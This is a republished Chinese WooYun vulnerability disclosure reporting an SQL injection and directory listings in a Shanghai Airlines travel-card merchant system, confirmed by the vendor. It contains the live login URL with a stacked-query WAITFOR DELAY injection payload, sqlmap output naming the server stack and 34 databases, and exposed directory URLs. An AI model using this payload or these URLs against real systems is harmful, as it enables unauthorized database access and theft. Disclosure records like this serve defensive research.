上海航空某业务系统SQL注射

2017年4月28日12:15:31评论221 views字数 197阅读0分39秒阅读模式

摘要

2016-03-07：细节已通知厂商并且等待厂商处理中
2016-03-07：厂商已经确认，细节仅向厂商公开
2016-03-17：细节向核心白帽子及相关领域专家公开
2016-03-27：细节向普通白帽子公开
2016-04-06：细节向实习白帽子公开
2016-04-21：细节向公众公开

漏洞概要关注数(2) 关注此漏洞

缺陷编号： WooYun-2016-181801

漏洞标题：上海航空某业务系统SQL注射

漏洞作者： Taro

提交时间： 2016-03-07 12:17

公开时间： 2016-04-21 13:11

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 12

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

0人收藏

漏洞详情

披露状态：

简要描述：

上海航空旅游网

详细说明：

上海航空-上航旅游网商户消费系统

http://card.satrip.com/Default.asp

GET注入：

http://card.satrip.com/Login.asp?Password=admin&ValidateCode=&Username=admin

code 区域

sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: Username (GET)
     Type: stacked queries
     Title: Microsoft SQL Server/Sybase stacked queries (comment)
     Payload: Password=admin&ValidateCode=&Username=admin';WAITFOR DELAY '0:0:5'--
 ---
 [11:46:05] [INFO] the back-end DBMS is Microsoft SQL Server
 web server operating system: Windows 2008 R2 or 7
 web application technology: ASP.NET, Microsoft IIS 7.5, ASP
 back-end DBMS: Microsoft SQL Server 2012
 
 available databases [34]:
 [*] assess
 [*] back_TMS
 [*] bbsmax
 [*] CheckMyTour
 [*] COUNT
 [*] distribution
 [*] EISENMANN
 [*] Flight
 [*] JPDB
 [*] master
 [*] model
 [*] msdb
 [*] quality
 [*] quality_dhly
 [*] RuDB
 [*] salt
 [*] Satrip_Card
 [*] Satrip_DBS
 [*] sh962008
 [*] sh_holiday
 [*] shgl_cc
 [*] shgl_ctms
 [*] shgl_srr
 [*] shglcw
 [*] shglcw_test
 [*] shglold
 [*] SMS
 [*] STA_DATA
 [*] tempdb
 [*] test
 [*] TMS
 [*] TMS_FLIGHT
 [*] TMS_HOTEL
 [*] TMS_INFO

2.目录遍历

http://tms.satrip.com:81/XML_old/

http://tms.satrip.com:81/xml/

http://tms.satrip.com:81/free/

http://tms.satrip.com:81/groupC/

http://tms.satrip.com:81/groupE/

http://tms.satrip.com:81/XML/

http://b2b.satrip.com:81/XML_old/

http://b2b.satrip.com:81/xml/

http://b2b.satrip.com:81/free/

http://b2b.satrip.com:81/groupC/

http://b2b.satrip.com:81/groupE/

http://b2b.satrip.com:81/XML/

漏洞证明：

修复方案：

版权声明：转载请注明来源 Taro@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-03-07 13:11

厂商回复：

十分感谢！

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞概要 关注数(2) 关注此漏洞

缺陷编号： WooYun-2016-181801

漏洞标题： 上海航空某业务系统SQL注射

相关厂商： 上海航空